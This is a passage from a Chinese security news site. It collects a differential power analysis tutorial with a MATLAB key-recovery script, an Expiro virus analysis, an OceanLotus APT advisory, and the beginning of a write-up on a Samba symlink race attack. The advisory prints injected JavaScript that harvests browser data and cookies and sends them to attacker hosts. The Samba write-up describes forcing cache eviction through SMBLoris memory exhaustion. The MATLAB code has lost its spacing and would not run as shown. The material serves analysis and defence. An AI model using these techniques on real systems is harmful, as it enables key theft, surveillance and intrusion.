H,把矩阵V的每一位使用生成能量模型计算之后的值,大小与V相同。

我使用网站上的能量轨迹进行测试,它包含了3个能量轨迹,ws1-3,我使用最一般化的ws3能量轨迹。

什么叫最一般化呢,就是实际情况中,攻击者可以相对轻松获取的轨迹。比如,获取到的能量轨迹是失调的。失调的原因可能是在获取矩阵T的时候,本来要求的是所有的采样点数应该是与芯片内部执行的时间对齐的,可是这在现实中是不太可能完全对齐的,因为这需要很小心的去设置示波器的触发。或者是芯片使用了乱序操作来对侧信道进行防御。

我先直接给出他的代码和运行之后的结果,并使用注释对代码进行解释。

load('WS3.mat'); %{ aes_plaintexts:可知的输入值,也就是矩阵D,这里大小是1000*16,也就是有16次不同的输入,我们这里只对第一次进行攻击 traces_noDummy:能量轨迹,没有插入随机指令作为防护,1000*25000也就是矩阵T traces_withDummy:能量轨迹,插入了随机指令作为侧信道攻击防护,1000*25000也就是矩阵T HW:用来储存汉明重量,便于后面调用 %} samples=1000; %选择是否进行了随机插值的能量轨迹,下文会进行对比 analyzed_traces='traces_noDummy'; %analyzed_traces='traces_withDummy'; %选择哪条能量轨迹进行攻击,一共有16条 byte_to_attack=1; moreoff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %读取存储空间中aes_plaintexts的第一列 D=aes_plaintexts(1:samples,byte_to_attack); clearaes_plaintextsbyte_to_attack %选择能量轨迹 eval(sprintf('traces=%s(1:samples,:);',analyzed_traces)); clearanalyzed_traces %密钥有256种可能,K的空间是256 K=uint8(0:255); %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %TASK2 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %计算中间值,这个就是上文中的f(d,k),这个函数的选取就是我们需要攻击的函数,计算之后是矩阵V V=SubBytes(bitxor(repmat(D,1,length(K)),repmat(K,samples,1))+1); %使用汉明重量计算假设能量值,计算之后是矩阵H H=HW(V+1); %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %计算相关性 tr_length=size(traces,2); R=zeros(length(K),tr_length); forkey_idx=uint16(K)+1 fprintf('Workingonkeyguess=%d\n',K(key_idx)); %下面计算相关系数矩阵 fork=1:tr_length r=corrcoef([double(H(:,key_idx))double(traces(:,k))]); R(key_idx,k)=r(1,2); end end clearkey_idxkr %下面我改了一些,有助于快速定位攻击成功的位置 [b,c]=max(max(R'));%c的值就是对应的正确密钥值 plot(R(c,:));

我们看下攻击的结果(运行时间比较长)。下面是TASK 2运行之后,正确密钥0x10的图。图3_1


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

相比于不正确的密钥,相差很大。图3_2


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

对于没有进行很好对对齐的能量轨迹(matlab脚本中选择analyzed_traces = 'traces_withDummy';),也有明显的相关性峰值,只不过最大值会缩小。图3_3


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

IV.尾声

1.优化

我们先来考虑一下,有什么可以优化的。

所以先要来考虑,为什么要优化。

优化,就是为了可以使用更少的能量轨迹,去攻击泄露更不明显的能量轨迹。或者是绕过一些防御手段,比如掩码防护,或者针对不知到计算细节的特殊加密方案的攻击,等等。

我们再来看一看,有什么地方值得优化,比如生成假设能量模型和对比假设能量模型和实际能量模型,可以使用不同的模型使得获取到的假设模型和比较结果更优化。我们的示例只针对了一个中间量来进行计算,那么对于使用了掩码的能量轨迹,我们可以使用几个中间量进行高阶DPA攻击。对于不知道具体计算过程的算法,可以使用旁路立方体攻击,等等。需要优化的地方还很多。

2.能量轨迹的获取

这是个很重要的问题,我没有单独拿出一章来讲的原因是我没有实际操作过,主要是因为没钱买适合的示波器。我会简单的介绍一下。

在2017年斯普林格出版的 Hardware Security and Trust 年刊第四篇 Practical Session: Differential Power Analysis for Beginners中,介绍了作者获取IC卡能量轨迹的方法,具有很强的通用性,可以借鉴一下。待我有钱买示波器之后,我也会自己动手做一遍。

diy一个板子,引出IC卡的接触引脚,如图4_1


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

之后按如下的方法接线,一路测量数据,另外一路测量功率图4_2


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

使用JSmartCard Explorer通过一个读卡器与接触式IC卡进行交互,使用 PicoScope 6 GUI读取能量轨迹。4.4


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

图4_3


【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

V.参考

《能量分析攻击》(奥地利)Stefan Mangard、Elisabeth Oswald、Thomas Popp,冯登国,周永彬,刘继业 译 科学出版社。以及配套网站,www.dpabook.org(入门好书)

《密码旁路分析原理与方法》郭世泽 王韬 赵新杰 科学出版社 (进阶必备)

N本斯普林格出版社(springer)年刊 Constructive Side-Channel Analysis and Secure Design

N本斯普林格出版社年刊 Hardware Security and Trust

文件下载

链接:https://pan.baidu.com/s/1hrSJkf6 密码:qgh8



【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探
【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4675.html

【病毒分析】文件感染型病毒Expiro的新变种分析

$
0
0
【病毒分析】文件感染型病毒Expiro的新变种分析

2017-11-09 18:17:32

阅读:294次
点赞(0)
收藏
来源: mcafee.com





【病毒分析】文件感染型病毒Expiro的新变种分析

作者:eridanus96





【病毒分析】文件感染型病毒Expiro的新变种分析

译者:eridanus96

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在九十年代末和二十世纪初,文件感染型病毒成为了一个主要的威胁。文件感染型病毒将恶意代码添加到计算机的其他文件之中,如果简单地通过删除病毒文件来实现杀毒,被感染的合法文件也会随之丢失,这样一来,杀毒工作就变得非常棘手。时至今日,一些文件感染型病毒仍然流行,而且其感染过程变得日益复杂,例如W32/VirRansom、W32/Sality、W32/Xpaj和Expiro。本文就对其中比较典型的Expiro病毒最新变种进行分析。

Expiro病毒已经存在了超过10年,在此之间,作者对它的功能特性不断进行更新。Expiro的特性在于,它通过将病毒附加到主机上,从而在32或64位windows系统上实现针对可执行文件的感染。这一病毒可以用来安装浏览器恶意扩展、修改浏览器安全设置或窃取账户凭据。

最近,我们发现了一个新的Expiro变种,它的感染方式发生了重大变化。在以前的变体中,Expiro会在入口点修改并获取代码,并在原始文件的末尾附加了病毒的payload,是一种典型的附加病毒。

但是,新的变种更改了基址重定位表(Base Relocation Table)的大小,并对内部的地址进行加密。因此,我们只能在正确还原原始的基址重定位表后,才能修复被损坏的文件,不能使用常规附加病毒的修复工具。由于加密了地址,直接增加了对该病毒分析的难度,并且还需要针对这一病毒再研发相应的修复工具。


病毒新变种分析

Expiro旧变种感染的文件,其基址重定位表不受影响,如下图:


【病毒分析】文件感染型病毒Expiro的新变种分析

并且,旧的变种不会修改重定位表的内容:


【病毒分析】文件感染型病毒Expiro的新变种分析

新的变种则减小了基址重定位表的大小(以红色标出):


【病毒分析】文件感染型病毒Expiro的新变种分析

而且,还会对其中的一部分进行加密:


【病毒分析】文件感染型病毒Expiro的新变种分析

为了在执行原始文件代码之前修复重定位,Expiro病毒首先会执行自己的恶意payload,随后,它解密重定位表,并动态重新加载所有地址,以确保原始文件能够正确运行。


重定位表的解密过程

解密过程涉及一个简单的XOR操作。第一步,先使用硬编码的XOR密钥对重定位表进行解密:


【病毒分析】文件感染型病毒Expiro的新变种分析

在解密后,将恢复原始基址重定位表的其余部分。EDI寄存器现在包含解密的重新定位数据:


【病毒分析】文件感染型病毒Expiro的新变种分析

第二步,使用公式Relocation_Address = NewImageBase + Offset + VirtualAddress来计算包含重定位地址的地址。


【病毒分析】文件感染型病毒Expiro的新变种分析

如图所示,这里的Relocation_Address = 0x950000 + 0x354 + 0x1000,所以在0x951354中的地址应该被重新定位(存储在eax中)。


【病毒分析】文件感染型病毒Expiro的新变种分析

第三步,使用公式Relocation_Value = OldValue + (NewImageBase-OldImagebase)计算重定位值。


【病毒分析】文件感染型病毒Expiro的新变种分析

在这里,Relocation_Value = 0x01001354 + (0x00950000 – 0x01000000),因此重定位值为0x00951354。


【病毒分析】文件感染型病毒Expiro的新变种分析

使用上述方法,我们就可以解密和修复Expiro感染文件的整个重定位表。此外,这还有助于我们在可执行文件的可选头部(Optional Header)中使用正确的值来计算和替换重定位表的大小。这样一来,就能确保感染病毒的文件,在删除恶意payload后可以恢复正常运行。


SHA-256值

f15b8fc3ca117ab38e3074adc6208666b2189259e447db8202ef85b9bbfc4537



【病毒分析】文件感染型病毒Expiro的新变种分析
【病毒分析】文件感染型病毒Expiro的新变种分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securingtomorrow.mcafee.com/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

$
0
0
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

2017-11-08 20:27:21

阅读:13067次
点赞(0)
收藏
来源: 安全客





【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

作者:360天眼实验室





【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

作者:360威胁情报中心 && 360CERT


文档信息


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

通告背景

2017 年 11 月 6 日,国外安全公司发布了一篇据称海莲花 APT 团伙新活动的报告,360 威胁情报中心对其进行了分析和影响面评估,提供处置建议。


事件概要


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

事件描述

2017年11月6日,国外安全公司Volexity发布了一篇关于疑似海莲花APT团伙新活动的报告,该报告指出攻击团伙攻击了与政府、军事、人权、媒体和国家石油勘探等有关的个人和组织的100多个网站。通过针对性的javascript脚本进行信息收集,修改网页视图,配合社会工程学诱导受害人点击安装恶意软件或者登陆钓鱼页面,以进行下一步的攻击渗透。


事件时间线

2017 年 11 月 6 日 Volexity 公司发布了据称海莲花新活动的报告。

2017 年 11 月 7 日 360 威胁情报中心发现确认部分攻击并作出响应。


影响面和危害分析

攻击者团伙入侵目标用户可能访问的网站,不仅破坏网站的安全性,还会收集所访问用户的系统信息。如果确认感兴趣的目标,则会执行进一步的钓鱼攻击获取敏感账号信息或尝试植入恶意程序进行秘密控制。

基于360网络研究院的数据,访问过攻击者设置的信息收集恶意站点有可能被获取自身主机信息的用户数量在十万级别,造成较大的敏感信息泄露,而这些用户中的极少数被诱骗下载执行恶意代码从而植入后门。

目前360威胁情报中心确认部分网站受到了影响,建议用户,特别是政府及大型企业结合附件提供的IOC信息对自身系统进行检查处理。


处置建议

1. 网站管理员检查自己网站页面是否被植入了恶意链接,如发现,清理被控制的网站中嵌 入的恶意代码,并排查内部网络的用户是否被植入了恶意程序。

2. 电脑安装防病毒安全软件,确认规则升级到最新。


技术分析

JavaScript分析

执行步骤

攻击者通过水坑攻击将恶意JavaScript代码植入到合法网站,收集用户浏览器指纹信息,修改网页视图诱骗用户登陆钓鱼页面、安装下载恶意软件。

大致的执行步骤是首先JavaScript脚本根据基础信息,引用到指定版本的恶意jQuery JavaScript文件进一步收集信息后获取新的JavaScript Payload。此Payload是大量的基础的函数以及更详尽的设备信息收集,同时还通过WebRTC获得真实IP地址。发送信息到通信地址加载新的 JavaScript Payload,此Payload进一步信息收集或者产生后续攻击变换。

探针一

http://45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=86462

jquery的最下面有个eval


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

核心获取传输数据部分如下:

varbrowser_hash='b0da8bd67938a5cf22e0-37cea33014-iGJHVcEXbp'; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','action':'replace','name':'WebRTC','value':array2json(window.listIP).replace(/"/g,'\"'),'log':'ReceicedWebRTCdatafromclient{client}.'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'BrowserPlugins','action':'replace','value':array2json(plugins).replace(/"/g,'\"'),'log':'ReceicedBrowserPluginsdatafromclient{client}.'}; varinfo={'Screen':screen.width+'x'+screen.height,'windowsize':window.outerWidth+'x'+window.outerHeight,'Language':navigator.language,'Cookie Enabled':(navigator.cookieEnabled)?'Yes':'No','JavaEnabled':(navigator.javaEnabled())?'Yes':'No'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'ExtendedBrowserInfo','action':'replace','value':array2json(info).replace(/"/g,'\"'),'log':'ReceicedExtendedBrowserInfodatafromclient{client}.'};

探针二

获取数据部分,用于字符串处理,校对时区,收集swf、express、activex、flash以及插入swf


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

传送数据相关的代码


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

发送的内容如下

'{"history":{"client_title":"", "client_url":"https://www.google.co.kr/_/chrome/newtab?espv=2&ie=UTF-8", "client_cookie":"SID=TQUtor57TAERNu6GqnR4pjxikT_fUFRYJg0WDuQR6DLPYP79ng8b20xLV45BALRr9EP0ig.; APISID=czIiWPC84XzsPhi7/AEXqM7jJZBOCVK4NB; SAPISID=EukztCzcUbvlcTe3/A0h8Z8oQR86VGPTf_; UULE=a+cm9sZToxIHByb2R1Y2VyOjEyIHByb3ZlbmFuY2U6NiB0aW1lc3RhbXA6MTUxMDA1Mzg3NDY1OTAwMCBsYXRsbmd7bGF0aXR1ZGVfZTc6Mzk5ODE5MzY5IGxvbmdpdHVkZV9lNzoxMTY0ODQ5ODQ5fSByYWRpdXM6MzM0ODA=; 1P_JAR=2017-11-8-2", "client_hash":"", "client_referrer":"", "client_platform_ua":"Mozilla/5.0(Macintosh;IntelMacOSX10_12_6)AppleWebKit/537.36(KHTML,likeGecko)Chrome/61.0.3163.100Safari/537.36", "client_time":"2017-11-08T03:40:25.641Z", "client_network_ip_list":["10.17.52.196"], "timezone":"Asia/Shanghai"}}'

数据传输地址

探针一

接受数据 //45.32.105.45/icon.jpg?v=86462&d={data}

根据参数下发

payload //45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?&v=86462&h1={data}&h2={data}&r={data}

探针二

往以下地址 POST 数据,并接受新的 js 并运行//ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1


信息收集列表

浏览器中执行的恶意代码会收集如下这些信息:

浏览器类型

浏览器版本

浏览器分辨率、DPI

CPU类型

CPU核心数

设备分辨率

BuildID

系统语言

jsHeapSizeLimit

screen.colorDepth

是否开启Cookie

是否开启Java

已经加载的插件列表

Referrer

当前网络IP

Cookie


定向投递

完成信息收集之后,攻击者会通过一个白名单过滤感兴趣的用户,如果不是仅仅返回一个时间戳,是则下发相应的JavaScript Payload,执行以下功能:

以钓鱼的方式骗取攻击目标的Google账号信息

欺骗用户安装或更新捆绑了恶意代码的浏览器软件(已知的有IE、Chrome及Firefox)

以下两个Amazon相关的域名用于存放假浏览器软件(该地址也可用于鱼叉链接)

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com


二进制样本分析

Dorpper

通过关联分析,360威胁情报中心定位到一个相关的恶意样本( MD5:eb2b52ed27346962c4b7b26df51ebafa )。

样本是一个捆绑了Firefox浏览器的Dropper:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该Dropper中有一个Name为1的大资源:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该资源是加密的,经过调试分析得到解密后的数据如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

数据结构如下图所示:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

经过分析发现该资源数据的数据结构如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

如下为解密后的Firefox文件(7zS.sfx.exe)和具备自删除功能的程序文件(123.exe):


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

正常的Firefox安装截图如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

执行正常的Firefox后,会先申请一个5个字节的内存空间,用于存放跳转指令,还会再申请一个内存空间存放资源数据中“第一部分代码”的地方,然后计算相对偏移,修改相对地址,跳转过去执行shellcode:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
下图为修正的5个字节的跳转的数据:

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
下图为跳转后的shellcode的入口处,代码里插入了花指令:

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Shellcode会从自身提取出来修正前的PE文件的内容,修正后复制到目标内存中,并在内存中执行起来,下图为把复制数据的操作:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

下图为复制修正后的PE头数据:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dump出的PE基本信息如下,

导出模块名为:{103004A5-829C-418E-ACE9-A7615D30E125}.dll:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dump出的PE(DLL形式的Dropper)中也有一个名为1的资源:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

资源的大小为1079KB:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该资源数据使用DES加密:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

解密后的数据为拼接到一起的3个文件:rastlsc.exe、rastls.dll和sylog.bin


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

释放的3个文件为典型的白利用过杀软方式,rastlsc.exe文件带有Symantec的签名,此白文件会加载同目录下的rastls.dll,该dll会去解密加载sylog.bin文件并执行:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dropper执行shellcode后,会把执行自删除功能的文件释放到temp目录的123.exe,把正常的浏览器文件替换掉Dropper后,以Dropper的路径作为参数运行123.exe:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

123.exe的功能主要是睡眠一秒后删除命令行传过来的文件,攻击者不通过调用cmd.exe的方式删除自己,估计是为了免杀。


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

恶意功能代码

sylog.bin文件在内存中解析后被执行,代码会获取计算机信息生成字符串与 .harinarach.com、.maerferd.com和 .eoneorbin.com拼接成一个完整的域名,连接其25123端口:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
成功连接后可以执行如下远控功能:

1、 文件管理

2、 远程shell

3、 注册表管理

4、 进程管理

关于远控部分的其他细节,360威胁情报中心将会在后续给出更详细的分析。


总体流程图

综合上述分析,样本执行流程总结如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

关联分析及溯源

360威胁情报中心尝试通过分发JavaScript的恶意域名的WHOIS信息来对本次事件做一些关联分析,一共38个域名,基本上都使用了隐私保护,注册时间则分布于2014年3月至2017年 10月,可见攻击团伙的活动时间之长准备之充分。如下是其中一个域名的注册信息:
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

从攻击团伙用于C&C通信的域名dload01.s3.amazonaws.com出发,360威胁情报中心发现一个捆绑恶意代码的Firefox浏览器更新文件,该文件就是技术分析部分提到的恶意样本。同时360威胁情报中心还发现了更多的恶意代码,包括Cobalt Strike生成的Powershell代码以及捆绑在其他浏览器中的恶意样本,这也是海莲花团伙的惯用手法之一,后续360威胁情报中心可能会发布更多相关的恶意代码分析。


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

参考资料

https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance -and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/


更新历史



【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

附件

IOC列表

C&C服务器

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com

maerferd.com

harinarach.com

eoneorbin.com

http://dload01.s3.amazonaws.com/b89fdbf4-9f80-11e7-abc4-2209cec278b6b50a/FirefoxInstaller.exe

分发JavaScript的恶意域名

a.doulbeclick.org

ad.adthis.org

ad.jqueryclick.com

ad.linksys-analytic.com

ads.alternativeads.net

api.2nd-weibo.com

api.analyticsearch.org

api.baiduusercontent.com

api.disquscore.com

api.fbconnect.net

api.querycore.com

browser-extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com

cache.akamaihd-d.com

cdn-js.com

cdn.adsfly.co

cdn.disqusapi.com

cloud.corewidget.com

cloudflare-api.com

core.alternativeads.net

cory.ns.webjzcnd.com

d3.advertisingbaidu.com

eclick.analyticsearch.org

google-js.net

google-js.org

google-script.net

googlescripts.com

gs.baidustats.com

health-ray-id.com

hit.asmung.net

jquery.google-script.org

js.ecommer.org

linked.livestreamanalytic.com

linksys-analytic.com

live.webfontupdate.com

s.jscore-group.com

s1.gridsumcontent.com

s1.jqueryclick.com

ssl.security.akamaihd-d.com

stat.cdnanalytic.com

static.livestreamanalytic.com

stats.corewidget.com

stats.widgetapi.com

track-google.com

update.akamaihd-d.com

update.security.akamaihd-d.com

update.webfontupdate.com

upgrade.liveupdateplugins.com

widget.jscore-group.com

wiget.adsfly.co

www.googleuserscontent.org

曾经被插入过恶意JavaScript的正常网站/URL

bdstarlbs.com

bokeo.gov.la

demo.mcs.gov.kh

mcs.gov.kh

www.fia.gov.kh

op-proper.gov.ph

www.mcs.gov.kh

www.necelect.org.kh

http://asean.org/modules/aseanmail/js/wp-mailinglist.js

http://asean.org/modules/wordpress-popup/inc/external/wpmu-lib/js/wpmu-ui.3.min.js

http://atr.asean.org/

http://investasean.asean.org/

http://www.afp.mil.ph/modules/mod_js_flexslider/assets/js/jquery.easing.js

http://www.mfa.gov.kh/jwplayer.js

http://www.moe.gov.kh/other/js/jquery/jquery.js

http://www.monasri.gov.kh/wtemplates/monasri_template/js/menu/mega.js

http://www.mosvy.gov.kh/public/js/default.js

http://www.mpwt.gov.la/media/system/js/mootools-core.js

http://www.police.gov.kh/wp-includes/js/jquery/jquery.js



【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4680.html

【技术分享】针对Samba的路径转换攻击

$
0
0
【技术分享】针对Samba的路径转换攻击

2017-11-10 14:10:25

阅读:609次
点赞(0)
收藏
来源: gdelugre.github.io





【技术分享】针对Samba的路径转换攻击

作者:eridanus96





【技术分享】针对Samba的路径转换攻击

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在今年4月,一个影响Samba的竞争条件(Race Condition)漏洞被公开,其编号为CVE-2017-2619,漏洞描述如下:

“对文件系统的输出部分具有写入权限的客户端,借助于SMB1 Unix扩展或NFS创建符号链接,再通过重命名一个被realpath()转换过的路径并创建符号链接的方式,实现对服务器的争用。而一旦客户端成功争用,由于此时已经完成对输出的共享路径的检查,就导致服务器会访问新的符号链接。而这个新的符号链接,则可以指向服务器文件系统中的任何位置。”

具体到这个Bug的利用,该公告补充说:“尽管该条件竞争难以成功,但从理论上讲是可能的。”

然而,假如共享文件夹储存在攻击者所控制的磁盘上,那么情况就变得完全不同。


准备阶段

一些网络设备(例如家庭使用的路由器,或网络存储器NAS)都支持外接U盘,并且能够在网络上共享该U盘中内容。我们就以法国常用的DSL路由器为例,这款路由器可以兼容绝大多数的ISP。

插入U盘后,系统会自动检测其分区,并且自动装载,并在局域网中创建网络共享。其中的网络共享,通常都会借助Samba来实现。

首先要做的,是在分区上创建一个符号链接,并验证我们目前确实无法读取除共享文件夹以外的任何文件。除非使用了非常旧版本的Samba,否则默认情况下,widelinks都会被设置为禁用,这次尝试应该会失败。

在服务器端,通常是按照下面的步骤来执行:

1. 接收到打开文件的请求,文件路径为A;

2. 检查路径A,确认其是否包含在共享文件夹内;

3. 如果检查无误,则该文件被打开。

Samba使用函数realpath转换路径,并验证它是否包含在共享文件夹中。在linux上,realpath将依次使用lstat和readlink系统调用来解析符号链接,而最终的操作将会调用open。

我们可以在受漏洞影响的Samba上运行strace来验证上述动作。当我们尝试打开路径a/b/c指向的file文件时,显示如下:

stat("a/b/c",{st_mode=S_IFREG|0644,st_size=0,...})=0 getcwd("/mnt/shared",4096)=12 lstat("/mnt/shared/a",{st_mode=S_IFDIR|0755,st_size=4096,...})=0 lstat("/mnt/shared/a/b",{st_mode=S_IFDIR|0755,st_size=4096,...})=0 lstat("/mnt/shared/a/b/c",{st_mode=S_IFLNK|0777,st_size=4,...})=0 readlink("/mnt/shared/a/b/c","file",4095)=4 lstat("/mnt/shared/a/b/file",{st_mode=S_IFREG|0644,st_size=0,...})=0 stat("a/b/c",{st_mode=S_IFREG|0644,st_size=0,...})=0 getxattr("a/b/c","system.posix_acl_access",0x7fff672973c0,132)=-1ENODATA(Nodataavailable) stat("a/b/c",{st_mode=S_IFREG|0644,st_size=0,...})=0 open("a/b/c",O_RDONLY)=12 由于这些操作不是完全同时进行的,因此无法保证我们所检查的文件与我们所打开的文件是同一个。
我们此次攻击的基本方法,就是通过使用伪造的USB存储设备,使得realpath的操作对象和打开的操作对象是不同的文件,从而欺骗操作系统。

漏洞利用

要利用此设计缺陷,最直接的方法是:在调用realpath(路径, ……)函数后、调用open(路径, ……)函数前,触发对相应分区的重新装载。这种方式不但能够对不同的文件进行操作,并且还可以在不同的文件系统上进行。然而,这种方法是不切实际的,主要是因为以下两点:

1. 这一时间上的条件限定过于苛刻,几乎不可能满足;

2. 大多数网络设备,会在存储设备移除时,立即关闭服务端。

既然我们控制了存储设备,那么一个更好的办法就是,在访问某些磁盘扇区的时候,去检测对realpath的调用,并在open操作期间,返回不同的数据。



【技术分享】针对Samba的路径转换攻击

文件系统缓存

实际上,现代的操作系统都会尽可能地减少I/O访问的次数。在路径解析的过程中,Linux内核可能必须通过读取硬盘来获取路径组件(Path Component)的信息。但如果不再需要,该操作就不会再次执行。取而代之的是,会将这些信息保存在内存中的dentry(或dcache)缓存之中。

目录项(dentry),是将文件名与索引节点(inode)关联起来的内核结构。对于本地文件系统,它们会一直保留在dcache中,直到内核回收内存以供其他程序使用。

因此,open过程中的路径解析,会首先查找dcache中的每一个路径组件,而不会对其设备有所怀疑。



【技术分享】针对Samba的路径转换攻击

可以看出,在这里之所以使用缓存,是考虑到了性能方面,而并没有顾及到它的安全性。所以实际上,我们可以在两次调用之间,去删除缓存中的内容,这样的操作会更为可行。


删除缓存内容

Linux dcache是一个最近最少使用(LRU)的缓存,也就是第一个被替换的条目是最近使用次数最少的。缓存并没有固定的大小,它将会占用尽可能多的内存。但内核也同时有权在其他地方需要时,减小缓存占用的空间,并对内存进行回收。

当内存回收时,内核将枚举缓存中的目录项,并收集其中未使用的(引用计数器为0)。每一个目录项中都包含对其父目录项的引用。内核还会保留对当前正在寻找的路径组件的引用。

我们考虑路径a/b/c和路径a/d的解析。在路径解析后,目录项的树将如下图所示:


【技术分享】针对Samba的路径转换攻击

内核将首先对c和d进行回收,然后是b,最后是a。但是,如果在查找组件b的过程中发生,内核就无法释放它,同理a也一样,因为它们两个的引用计数器不会为0。

在这种情况下,即使是包含符号链接的路径,其结果也是一样的。

我们再考虑另一种情况:路径a/b/c,其中b是指向目录a/x的符号链接。


【技术分享】针对Samba的路径转换攻击

在b的解析过程中,内核将跟踪符号链接,并继续在x处进行路径遍历。符号链接b将保持其引用计数器为0,并且即使是在路径解析期间,它也可以从dcache中删除。

这就意味着,通过在路径中加入一个符号链接,使得在lstat系统调用返回前,有可能释放它的目录项。在接下来的调用open过程中,磁盘会再次被读取,从而对相同的路径执行打开操作。

在几个系统调用的短暂时间里,缓存的目录项看上去不太可能会被清除。但事实上是有可能的,因为我们可以让整个操作变得非常缓慢。

通过延迟SCSI相应数据包,我们可以让系统调用处于阻塞状态。Linux在默认情况下会等待30秒SCSI请求,然后再判断磁盘是否已经卡死。了解这一点之后,我们就可以借助于此,再加上大量的符号链接,轻松地让一个简单的realpath操作花上一个小时的时间,最后仍然会返回正确的结果。

我们再考虑路径a/b/c指向文件f的情况,我们可以将大量的符号链接聚在一起(但应少于40个,以避免ELOOP错误),并将它们放在磁盘上的不同位置,以有效减慢整个路径的解析速度。我们还可以通过拆分SCSI响应并返回较小的数据块,或者是通过在不同的物理位置使用索引节点创建中级目录(intermediate directories)来减慢进程。


【技术分享】针对Samba的路径转换攻击

当realpath操作在lstat和readlink之间被缓慢的I/O卡住时,我们可以开始将缓存的符号链接入口(图中的绿色框)清除出去。有多种方法可以实现,其中最为简单的一种是执行SMBLoris攻击,创建大量的连接并分配大量内存。在高强度的内存使用下,dcache的空间会变小。仅仅需要几秒钟的时间,就可以填满内存,并让目录项被清除,因此这种方法非常可行。当然,还可以与其他DoS漏洞一同使用,从而导致高内存消耗,达到相同的目的。

